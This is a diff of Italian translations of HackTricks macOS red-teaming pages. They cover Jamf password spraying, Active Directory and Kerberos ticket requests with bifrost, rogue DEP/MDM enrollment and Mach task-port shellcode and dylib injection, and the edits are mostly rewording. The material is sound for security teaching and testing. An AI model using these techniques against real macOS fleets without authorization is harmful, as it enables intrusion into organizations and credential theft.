@ -34,7 +35,7 @@ JAMF può eseguire **script personalizzati** (script sviluppati dall'amministrat
#### Auto-registrazione JAMF
Vai su una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **abilitata l'auto-registrazione**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
Vai su una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **l'auto-registrazione abilitata**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
Potresti usare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying.
@ -60,7 +61,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<string>https://subdomain-company.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
@ -95,6 +96,7 @@ Lo script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-To
E anche riguardo ai **protocollo** **di rete** "speciali" di **MacOS**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
{{#endref}}
@ -103,27 +105,30 @@ E anche riguardo ai **protocollo** **di rete** "speciali" di **MacOS**:
In alcune occasioni scoprirai che il **computer MacOS è connesso a un AD**. In questo scenario dovresti cercare di **enumerare** l'active directory come sei abituato a fare. Trova qualche **aiuto** nelle seguenti pagine:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
{{#ref}}
../../windows-hardening/active-directory-methodology/
{{#endref}}
{{#ref}}
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Alcuni **strumenti locali di MacOS** che potrebbero anche aiutarti sono `dscl`:
Un **tool locale MacOS** che potrebbe anche aiutarti è `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Inoltre, ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
Anche ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory sugli host MacOS.
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory su host MacOS.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è abilitare test di sicurezza migliori attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere alcun altro framework o pacchetti sul target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript per l'automazione (JXA) per fare enumerazione di Active Directory.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per fare enumerazione di Active Directory.
### Informazioni sul Dominio
```bash
@ -138,7 +143,7 @@ I tre tipi di utenti MacOS sono:
- **Utenti Mobili** — Utenti Active Directory con un backup locale per le loro credenziali e file.
Le informazioni locali sugli utenti e sui gruppi sono memorizzate nella cartella _/var/db/dslocal/nodes/Default._\
Ad esempio, le informazioni sull'utente chiamato _mark_ sono memorizzate in _/var/db/dslocal/nodes/Default/users/mark.plist_ e le informazioni sul gruppo _admin_ sono in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Ad esempio, le informazioni sull'utente chiamato _mark_ sono memorizzate in _/var/db/dslocal/nodes/Default/users/mark.plist_ e le informazioni sul gruppo _admin_ si trovano in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Oltre a utilizzare i bordi HasSession e AdminTo, **MacHound aggiunge tre nuovi bordi** al database Bloodhound:
@ -194,7 +199,7 @@ bifrost --action asktgt --username test_lab_admin \
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
Con i ticket di servizio ottenuti è possibile provare ad accedere alle condivisioni in altri computer:
Con i ticket di servizio ottenuti, è possibile provare ad accedere alle condivisioni su altri computer:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
@ -227,5 +232,4 @@ Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **apert
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{{#include ../../banners/hacktricks-training.md}}

24
src/macos-hardening/macos-red-teaming/macos-mdm/README.md
View File

@ -27,7 +27,7 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid
### **Considerazione sulla Sicurezza**
È fondamentale notare che la facilità di registrazione fornita dal DEP, sebbene vantaggiosa, può anche comportare rischi per la sicurezza. Se le misure protettive non sono adeguatamente applicate per la registrazione MDM, gli attaccanti potrebbero sfruttare questo processo semplificato per registrare il proprio dispositivo sul server MDM dell'organizzazione, spacciandosi per un dispositivo aziendale.
È fondamentale notare che la facilità di registrazione fornita dal DEP, sebbene vantaggiosa, può anche comportare rischi per la sicurezza. Se le misure protettive non vengono adeguatamente applicate per la registrazione MDM, gli attaccanti potrebbero sfruttare questo processo semplificato per registrare il proprio dispositivo sul server MDM dell'organizzazione, spacciandosi per un dispositivo aziendale.
> [!CAUTION]
> **Avviso di Sicurezza**: La registrazione semplificata del DEP potrebbe consentire la registrazione non autorizzata di dispositivi sul server MDM dell'organizzazione se non sono in atto le giuste misure di protezione.
@ -42,7 +42,7 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid
- Il modo ufficiale di Apple per **impostare/applicare la configurazione di sistema.**
- Formato di file che può contenere più payload.
- Basato su elenchi di proprietà (il tipo XML).
- “possono essere firmati e crittografati per convalidare la loro origine, garantire la loro integrità e proteggere i loro contenuti.” Fondamenti — Pagina 70, iOS Security Guide, gennaio 2018.
- “può essere firmato e crittografato per convalidare la loro origine, garantire la loro integrità e proteggere i loro contenuti.” Fondamenti — Pagina 70, iOS Security Guide, gennaio 2018.
## Protocolli
@ -56,7 +56,7 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid
### DEP
- **3 API**: 1 per rivenditori, 1 per fornitori MDM, 1 per identità del dispositivo (non documentata):
- **3 API**: 1 per i rivenditori, 1 per i fornitori MDM, 1 per l'identità del dispositivo (non documentata):
- La cosiddetta [API "cloud service" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Questa è utilizzata dai server MDM per associare i profili DEP a dispositivi specifici.
- L'[API DEP utilizzata dai Rivenditori Autorizzati Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) per registrare dispositivi, controllare lo stato di registrazione e controllare lo stato delle transazioni.
- L'API privata DEP non documentata. Questa è utilizzata dai dispositivi Apple per richiedere il proprio profilo DEP. Su macOS, il binario `cloudconfigurationd` è responsabile della comunicazione su questa API.
@ -70,12 +70,12 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid
- sincronizza i “profili DEP” da Apple al server MDM (forniti da Apple al dispositivo in seguito)
- Un “profilo” DEP contiene:
- URL del server del fornitore MDM
- Certificati aggiuntivi di fiducia per l'URL del server (pinning opzionale)
- Certificati di fiducia aggiuntivi per l'URL del server (pinning opzionale)
- Impostazioni extra (ad es. quali schermate saltare nell'Assistente Configurazione)
## Numero di Serie
I dispositivi Apple prodotti dopo il 2010 hanno generalmente numeri di serie **alfanumerici di 12 caratteri**, con le **prime tre cifre che rappresentano il luogo di produzione**, le successive **due** che indicano l'**anno** e la **settimana** di produzione, le successive **tre** cifre forniscono un **identificatore unico**, e le **ultime** **quattro** cifre rappresentano il **numero di modello**.
I dispositivi Apple prodotti dopo il 2010 hanno generalmente numeri di serie **alfanumerici di 12 caratteri**, con le **prime tre cifre che rappresentano il luogo di produzione**, le successive **due** che indicano l'**anno** e la **settimana** di produzione, le successive **tre** cifre forniscono un **identificatore** **unico**, e le **ultime** **quattro** cifre rappresentano il **numero di modello**.
{{#ref}}
macos-serial-number.md
@ -85,7 +85,7 @@ macos-serial-number.md
1. Creazione del record del dispositivo (Rivenditore, Apple): Viene creato il record per il nuovo dispositivo
2. Assegnazione del record del dispositivo (Cliente): Il dispositivo viene assegnato a un server MDM
3. Sincronizzazione del record del dispositivo (fornitore MDM): MDM sincronizza i record dei dispositivi e invia i profili DEP ad Apple
3. Sincronizzazione del record del dispositivo (Fornitore MDM): MDM sincronizza i record dei dispositivi e invia i profili DEP ad Apple
4. Check-in DEP (Dispositivo): Il dispositivo ottiene il suo profilo DEP
5. Recupero del profilo (Dispositivo)
6. Installazione del profilo (Dispositivo) a. incl. payload MDM, SCEP e root CA
@ -93,11 +93,11 @@ macos-serial-number.md
![](<../../../images/image (694).png>)
Il file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` esporta funzioni che possono essere considerate **"passaggi" di alto livello** del processo di registrazione.
Il file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` esporta funzioni che possono essere considerate **"passaggi"** di alto livello del processo di registrazione.
### Passo 4: Check-in DEP - Ottenere il Record di Attivazione
Questa parte del processo si verifica quando un **utente avvia un Mac per la prima volta** (o dopo un ripristino completo)
Questa parte del processo si verifica quando un **utente avvia un Mac per la prima volta** (o dopo una cancellazione completa)
![](<../../../images/image (1044).png>)
@ -107,7 +107,7 @@ o quando si esegue `sudo profiles show -type enrollment`
- Il Record di Attivazione è il nome interno per il **"profilo" DEP**
- Inizia non appena il dispositivo è connesso a Internet
- Guidato da **`CPFetchActivationRecord`**
- Implementato da **`cloudconfigurationd`** tramite XPC. L'**"Assistente Configurazione"** (quando il dispositivo viene avviato per la prima volta) o il comando **`profiles`** contatteranno questo demone per recuperare il record di attivazione.
- Implementato da **`cloudconfigurationd`** tramite XPC. L'**"Assistente Configurazione"** (quando il dispositivo viene avviato per la prima volta) o il comando **`profiles`** contatterà questo demone per recuperare il record di attivazione.
- LaunchDaemon (gira sempre come root)
Segue alcuni passaggi per ottenere il Record di Attivazione eseguiti da **`MCTeslaConfigurationFetcher`**. Questo processo utilizza una crittografia chiamata **Absinthe**
@ -136,7 +136,7 @@ La risposta è un dizionario JSON con alcuni dati importanti come:
![](<../../../images/image (444).png>)
- Richiesta inviata all'**url fornito nel profilo DEP**.
- **Certificati ancorati** sono utilizzati per **valutare la fiducia** se forniti.
- **Certificati di ancoraggio** sono utilizzati per **valutare la fiducia** se forniti.
- Promemoria: la proprietà **anchor_certs** del profilo DEP
- **La richiesta è un semplice .plist** con identificazione del dispositivo
- Esempi: **UDID, versione OS**.
@ -144,7 +144,7 @@ La risposta è un dizionario JSON con alcuni dati importanti come:
- Firmato utilizzando il **certificato di identità del dispositivo (da APNS)**
- La **catena di certificati** include un **Apple iPhone Device CA** scaduto
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Passo 6: Installazione del Profilo
@ -194,7 +194,7 @@ Tipicamente, il **profilo di attivazione** fornito da un fornitore MDM includer
### Registrazione di Dispositivi in Altre Organizzazioni
Come commentato in precedenza, per cercare di registrare un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è registrato, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Pertanto, questo potrebbe essere un pericoloso punto di ingresso per gli attaccanti se il processo di registrazione non è correttamente protetto:
Pertanto, questo potrebbe essere un punto di ingresso pericoloso per gli attaccanti se il processo di registrazione non è correttamente protetto:
{{#ref}}
enrolling-devices-in-other-organisations.md

33
src/macos-hardening/macos-security-and-privilege-escalation/README.md
View File

@ -6,7 +6,8 @@
Se non sei familiare con macOS, dovresti iniziare a imparare le basi di macOS:
- File e **permessi speciali di macOS:**
- **File e permessi speciali di macOS:**
{{#ref}}
macos-files-folders-and-binaries/
@ -14,23 +15,27 @@ macos-files-folders-and-binaries/
- **Utenti comuni di macOS**
{{#ref}}
macos-users.md
{{#endref}}
- **AppleFS**
{{#ref}}
macos-applefs.md
{{#endref}}
- L'**architettura** del k**ernel**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Servizi e **protocolli di rete comuni di macOS**
- **Servizi e protocolli di rete** comuni di macOS
{{#ref}}
macos-protocols.md
@ -39,21 +44,24 @@ macos-protocols.md
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- Per scaricare un `tar.gz`, cambia un URL come [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) in [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MDM di MacOS
### MDM MacOS
Nelle aziende, i sistemi **macOS** saranno molto probabilmente **gestiti con un MDM**. Pertanto, dal punto di vista di un attaccante, è interessante sapere **come funziona**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Ispezione, Debugging e Fuzzing
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## Protezioni di Sicurezza di MacOS
## Protezioni di Sicurezza MacOS
{{#ref}}
macos-security-protections/
@ -69,43 +77,46 @@ Questo potrebbe verificarsi nelle seguenti situazioni:
- Il file utilizzato era già stato creato da un utente (di proprietà dell'utente)
- Il file utilizzato è scrivibile dall'utente a causa di un gruppo
- Il file utilizzato si trova all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file)
- Il file utilizzato si trova all'interno di una directory di proprietà di root ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file)
- Il file utilizzato si trova all'interno di una directory di proprietà di root, ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file)
Essere in grado di **creare un file** che sarà **utilizzato da root**, consente a un utente di **sfruttare il suo contenuto** o persino creare **symlink/hardlink** per puntarlo in un'altra posizione.
Essere in grado di **creare un file** che sarà **utilizzato da root**, consente a un utente di **sfruttare il suo contenuto** o persino di creare **symlink/hardlink** per puntarlo in un altro posto.
Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### Gestori di App per Estensioni di File e Schemi URL
### Gestori di Estensioni di File e URL
App strane registrate da estensioni di file potrebbero essere abusate e diverse applicazioni possono essere registrate per aprire protocolli specifici
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## Escalation dei Privilegi TCC / SIP di macOS
In macOS **le applicazioni e i binari possono avere permessi** per accedere a cartelle o impostazioni che li rendono più privilegiati di altri.
In macOS, **le applicazioni e i binari possono avere permessi** per accedere a cartelle o impostazioni che li rendono più privilegiati di altri.
Pertanto, un attaccante che desidera compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o persino **bypassare SIP**, a seconda delle sue necessità).
Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe aver richiesto alcuni accessi e dopo che il **utente li approva** possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi**, poiché di solito sono **ereditati**.
Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe richiedere alcuni accessi e dopo che il **utente li approva**, possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi**, poiché di solito sono **ereditati**.
Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
## Escalation Tradizionale dei Privilegi di macOS
## Escalation Tradizionale dei Privilegi in macOS
Certo, dal punto di vista di un red team, dovresti essere anche interessato a escalare a root. Controlla il seguente post per alcuni suggerimenti:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## Conformità di macOS
## Conformità macOS
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)

6
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
View File

@ -18,7 +18,7 @@ In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livell
### BSD
Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzi. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzamento. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
- Gestione dei processi
- Gestione dei segnali
@ -29,11 +29,11 @@ Il **kernel** XNU **incorpora** anche una quantità significativa di codice deri
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come unità fondamentale di esecuzione, mentre Mach opera basandosi sui thread. Questa discrepanza è riconciliata in XNU **associando ogni processo BSD a un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e di thread.
Inoltre, **Mach e BSD mantengono ciascuno modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera sulla base della **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle chiamate di sistema tipiche, ci sono anche **trappole Mach che consentono ai programmi in spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e multifaccettata del kernel macOS.
Inoltre, **Mach e BSD mantengono ciascuno modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera sulla base della **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle chiamate di sistema tipiche, ci sono anche **trappole Mach che consentono ai programmi in spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e multifaccettata del kernel di macOS.
### I/O Kit - Drivers
L'I/O Kit è un framework **per driver di dispositivo** open-source e orientato agli oggetti nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
L'I/O Kit è un framework open-source e orientato agli oggetti per **driver di dispositivo** nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
{{#ref}}
macos-iokit.md

27
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

@ -45,7 +45,7 @@ Come menzionato, per stabilire il canale di comunicazione, è coinvolto il **boo
5. Dopo aver acquisito un diritto di INVIO, il Compito **B** è in grado di **formulare** un **messaggio** e inviarlo **al Compito A**.
6. Per una comunicazione bidirezionale, di solito il compito **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e concede il **diritto di INVIO al Compito A** in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un compito. Ciò significa che un **compito** potrebbe potenzialmente **impersonare qualsiasi compito di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un compito. Questo significa che un **compito** potrebbe potenzialmente **impersonare qualsiasi compito di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server creerà e manterrà un **diritto di RICEZIONE per ciascuno di questi nomi di servizio**.
@ -63,7 +63,7 @@ Tuttavia, questo processo si applica solo ai compiti di sistema predefiniti. I c
[Trova ulteriori informazioni qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
La funzione `mach_msg`, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto del messaggio effettivo. La struttura è definita come segue:
La funzione `mach_msg`, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto effettivo del messaggio. La struttura è definita come segue:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -74,12 +74,12 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, ai **mittenti** viene concesso un _**diritto di invio**_ o un _**diritto di invio una sola volta**_. Il diritto di invio una sola volta è esclusivamente per inviare un singolo messaggio, dopo di che diventa invalido.
I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, ai **mittenti** viene concesso un _**diritto di invio**_ o un _**diritto di invio-una-volta**_. Il diritto di invio-una-volta è esclusivamente per l'invio di un singolo messaggio, dopo il quale diventa non valido.
Per ottenere una facile **comunicazione bidirezionale**, un processo può specificare una **porta mach** nell'**intestazione del messaggio** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio. I bitflags in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio una sola volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **porta mach** nell'**intestazione del messaggio** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio. I bitflags in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio-una-volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Nota che questo tipo di comunicazione bidirezionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bidirezionale.
> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bi-direzionale.
Gli altri campi dell'intestazione del messaggio sono:
@ -232,7 +232,7 @@ printf("Sent a message\n");
- Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che sono concessi solo ai binari Apple.
- **Porta nome task:** Una versione non privilegiata della _porta task_. Riferisce al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile attraverso di essa è `task_info()`.
- **Porta task** (nota anche come porta kernel)**:** Con permesso di Invio su questa porta è possibile controllare il task (leggere/scrivere memoria, creare thread...).
- Chiama `mach_task_self()` per **ottenere il nome** di questa porta per il task chiamante. Questa porta è solo **ereditaria** attraverso **`exec()`**; un nuovo task creato con `fork()` ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopo `exec()` in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mentre si esegue un `fork()`.
- Chiama `mach_task_self()` per **ottenere il nome** di questa porta per il task chiamante. Questa porta è solo **eredita** attraverso **`exec()`**; un nuovo task creato con `fork()` ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopo `exec()` in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mentre si esegue un `fork()`.
- Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`):
- Se l'app ha il diritto **`com.apple.security.get-task-allow`**, i processi dello **stesso utente possono accedere alla porta task** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo consentirà per le versioni di produzione.
- Le app con il diritto **`com.apple.system-task-ports`** possono ottenere la **porta task per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple.
@ -242,6 +242,7 @@ printf("Sent a message\n");
Puoi prendere un shellcode da:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -292,7 +293,7 @@ return 0;
{{#endtab}}
{{#endtabs}}
**Compila** il programma precedente e aggiungi le **entitlements** per poter iniettare codice con lo stesso utente (altrimenti dovrai usare **sudo**).
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (se no dovrai usare **sudo**).
<details>
@ -504,9 +505,10 @@ In macOS **i thread** possono essere manipolati tramite **Mach** o utilizzando *
È stato possibile **iniettare un semplice shellcode** per eseguire un comando perché **non doveva funzionare con api** conformi a posix, solo con Mach. **Iniezioni più complesse** richiederebbero che il **thread** fosse anche **conforme a posix**.
Pertanto, per **migliorare il thread** dovrebbe chiamare **`pthread_create_from_mach_thread`** che **creerà un pthread valido**. Poi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare una dylib** dal sistema, quindi invece di scrivere nuovo shellcode per eseguire diverse azioni è possibile caricare librerie personalizzate.
Pertanto, per **migliorare il thread** dovrebbe chiamare **`pthread_create_from_mach_thread`** che **creerà un pthread valido**. Poi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare un dylib** dal sistema, quindi invece di scrivere nuovo shellcode per eseguire diverse azioni è possibile caricare librerie personalizzate.
Puoi trovare **esempi di dylibs** in (ad esempio quello che genera un log e poi puoi ascoltarlo):
Puoi trovare **dylibs di esempio** in (ad esempio quella che genera un log e poi puoi ascoltarlo):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -794,6 +796,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
In questa tecnica un thread del processo viene hijacked:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
@ -802,20 +805,22 @@ In questa tecnica un thread del processo viene hijacked:
### Informazioni di base
XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per **la comunicazione tra processi** su macOS e iOS. XPC fornisce un meccanismo per effettuare **chiamate di metodo sicure e asincrone tra diversi processi** sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la **creazione di applicazioni separate per privilegi** in cui ogni **componente** viene eseguito con **solo i permessi necessari** per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso.
XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per **la comunicazione tra processi** su macOS e iOS. XPC fornisce un meccanismo per effettuare **chiamate a metodi sicure e asincrone tra diversi processi** sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la **creazione di applicazioni separate per privilegi** in cui ogni **componente** viene eseguito con **solo i permessi necessari** per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso.
Per ulteriori informazioni su come questa **comunicazione funziona** e su come potrebbe **essere vulnerabile**, controlla:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach Interface Generator
MIG è stato creato per **semplificare il processo di creazione del codice Mach IPC**. Fondamentalmente **genera il codice necessario** affinché server e client comunichino con una definizione data. Anche se il codice generato è brutto, un sviluppatore dovrà solo importarlo e il suo codice sarà molto più semplice di prima.
